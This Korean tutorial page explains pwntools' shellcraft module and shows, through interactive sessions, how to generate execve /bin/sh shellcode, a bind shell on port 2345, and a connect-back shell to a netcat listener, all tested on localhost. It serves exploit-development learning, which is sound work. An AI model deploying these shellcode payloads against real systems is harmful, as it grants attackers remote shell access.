Excuse the ads! We need some help to keep our site up.
|
|
shellcraft 모듈에서는 sh() 함수를 이용해 간단하게 "/bin/sh" 를 실행하는 shellcode를 생성할 수 있습니다.
해당 함수는 aarch64,amd64,arm,i386,mips,thumb 아키텍처의 linux, freebsd 운영체제에 맞는 shellocode를 생성 할 수 있습니다.
다음과 같이 아키텍처와 운영체제를 선택한 후 sh() 함수를 호출하면, 해당 조건에 맞는 shellcode를 리턴합니다.
shellcraft.i386.linux.sh() |
>>> shellcode = shellcraft.i386.linux.sh() >>> p = run_assembly(shellcode) [*] '/tmp/pwn-asm-g_qJNW/step3' Arch: i386-32-little RELRO: No RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x10000000) RWX: Has RWX segments [x] Starting local process '/tmp/pwn-asm-g_qJNW/step3' [+] Starting local process '/tmp/pwn-asm-g_qJNW/step3': pid 42665 >>> p.interactive() [*] Switching to interactive mode id uid=1000(lazenca0x0) gid=1000(lazenca0x0) groups=1000(lazenca0x0),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare) exit [*] Got EOF while reading in interactive |
해당 함수는 amd64,mips,thumb 아키텍처의 linux 운영체제에 맞는 bind shellocode를 생성 할 수 있습니다.
다음과 같이 아키텍처와 운영체제를 선택한 후 bindsh() 함수를 호출하면, 해당 조건에 맞는 shellcode를 리턴합니다.
첫번째 인자는 사용할 Port 번호를 전달합니다.
두번째 인자는 사용할 네트워크가 'ipv4','ipv6' 인지 전달합니다.
shellcraft.amd64.linux.bindsh(port, network) |
bindsh() 함수의 첫번째 인자로 bind shellcode에서 사용할 port로 2345를 전달합니다.
lazenca0x0@ubuntu:~$ python Python 2.7.12 (default, Dec 4 2017, 14:50:18) [GCC 5.4.0 20160609] on linux2 Type "help", "copyright", "credits" or "license" for more information. >>> from pwn import * >>> shellcode = shellcraft.amd64.linux.bindsh(2345, 'ipv4') >>> p = run_assembly(shellcode,arch='amd64') >>> p.wait_for_close() |
lazenca0x0@ubuntu:~/Exploit/shellcode$ nc localhost 2345 id uid=1000(lazenca0x0) gid=1000(lazenca0x0) groups=1000(lazenca0x0),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare) |
connect() 함수는 aarch64,amd64,arm,i386,mips,thumb 아키텍처의 linux 운영체제만 지원합니다.
전달될 인자 값은 다음과 같습니다.
첫번째 인자 값은 연결할 IP 주소를 전달합니다.
두번째 인자 값은 연결할 Port를 전달합니다.
세번째 인자 값은 연결할 네트워가 'ipv4','ipv6'인지 전달 합니다.
findpeersh() 함수는를 이용해 connect 함수에 의해 생성된 소켓에 표준 스트림을 복제(링크) 합니다.
findpeersh() 함수는 amd64,i386,mips,thumb 아키텍처의 linux 운영체제만 지원합니다.
첫번째 인자 값으로 connect() 함수에 전달된 port 번호를 전달합니다.
shellcraft.i386.linux.connect(host, port, network) shellcraft.i386.linux.findpeersh(port) |
lazenca0x0@ubuntu:~$ python Python 2.7.12 (default, Dec 4 2017, 14:50:18) [GCC 5.4.0 20160609] on linux2 Type "help", "copyright", "credits" or "license" for more information. >>> from pwn import * >>> assembly = shellcraft.i386.linux.connect('localhost', 2345, 'ipv4') >>> assembly += shellcraft.i386.linux.findpeersh(2345) |
lazenca0x0@ubuntu:~$ nc -lvp 2345 Listening on [0.0.0.0] (family 0, port 2345) |
>>> p = run_assembly(assembly) [*] '/tmp/pwn-asm-Nbw1KJ/step3' Arch: i386-32-little RELRO: No RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x10000000) RWX: Has RWX segments [x] Starting local process '/tmp/pwn-asm-Nbw1KJ/step3' [+] Starting local process '/tmp/pwn-asm-Nbw1KJ/step3': pid 4144 >>> |
lazenca0x0@ubuntu:~$ nc -lvp 2345 Listening on [0.0.0.0] (family 0, port 2345) Connection from [127.0.0.1] port 2345 [tcp/*] accepted (family 2, sport 48708) id uid=1000(lazenca0x0) gid=1000(lazenca0x0) groups=1000(lazenca0x0),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare) |